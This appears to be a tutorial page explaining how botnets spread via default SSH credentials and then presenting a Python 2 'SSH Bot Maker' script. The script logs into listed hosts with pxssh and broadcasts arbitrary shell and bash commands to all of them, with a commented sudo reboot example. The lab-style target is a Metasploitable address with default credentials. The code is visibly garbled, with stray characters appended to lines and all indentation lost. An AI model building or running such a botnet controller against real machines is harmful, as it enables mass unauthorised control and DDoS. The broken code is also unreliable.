A botnet is a number of Internet-connected devices, each of which is running one or more bots. Botnets can be used to perform distributed denial-of-service attack (DDoS attack), steal data,send spam, and allows the attacker to access the device and its connection. The owner can control the botnet using command and control (C&C) software. The word "botnet" is a combination of the words "robot" and "network". The term is usually used with a negative or malicious connotation. Telnet botnets use a simple C&C botnet Protocol in which bots connect to the main command server to host the botnet. Bots are added to the botnet by using a scanning script, the scanning script is run on an external server and scans IP ranges for telnet and SSH server default logins. Once a login is found it is added to an infection list and infected with a malicious infection line via SSH on from the scanner server. When the SSH command is run it infects the server and commands the server to ping to the control server and becomes its slave from the malicious code infecting it. Once servers are infected to the server the bot controller can launch DDoS attacks of high volume using the C&C panel on the host server.
In this module we are going to create a basic SSH bot used to connect to ssh server and execute commands.
*Python *Classes and Objects *pxssh module
We will use the Python pexpect library with pxssh module to connect to the SSH Server.After a sucessful connection we will send the commands
to be executed.
Learn about Pxssh module: Official Documentation
We will implement many other modules:
* Os module
* sys module
* colorama module
import pxssh
import sysh
import osh
from colorama import Fore, Back, Styleh
from pexpect import pxsshh
os.system('clear')
print ""h
print ('-'*30+"SSH Bot Maker"+'-'*30)
print (Fore.GREEN+"")
print "1.List Bot"
print "2.Run Command"
print "3.Bash"h
print "4.Exit"h
option=raw_input("Enter any option:")
#Creating clinet instanceh
class Client:
def __init__(self,host,user,password):
self.host=host
self.user=user
self.password=password
self.session=self.connect()
#connecting to the ssh server
def connect(self):
try:
s=pxssh.pxssh()
s.login(self.host,self.user,self.password)
return s
except Exception,e:
print e
print (Fore.RED+"[-]Error connecting")
#Sending a command to execute
def send_command(self,cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
#Running through the loop so that it can travese the complete clients
def botnetCommand(command):
for client in botnet:
output=client.send_command(command)
print "[*]Output from" +client.host
print "[+]<<<"+output
#Adding new clients to botnet
def addclient(host,user,password):
client=Client(host,user,password)
botnet.append(client)
#Input command to run
def askforcommand():
run=raw_input(Fore.GREEN+"Enter a command to run:")
botnetCommand(run)
#Input command to run in bash
def bash():
bash=raw_input(">>>:")
botnetCommand('echo %s | /bin/bash' %bash)
botnet=[]
#add your bot computers
addclient('192.168.56.101','msfadmin','hacked')
#when required a password for a command use the below syntax
#echo
#botnetCommand('echo hacked | sudo -S reboot')
if option =='1':
n=len(botnet)
for i in range(0,n):
print str(botnet[i])
i=i+1
elif option == '2':
while True:
askforcommand()
elif option == '3':
while True:
bash()
else :
sys.exit()
Stylesheet switching is done via JavaScript and can cause a blink while page loads. This will not happen in your production code.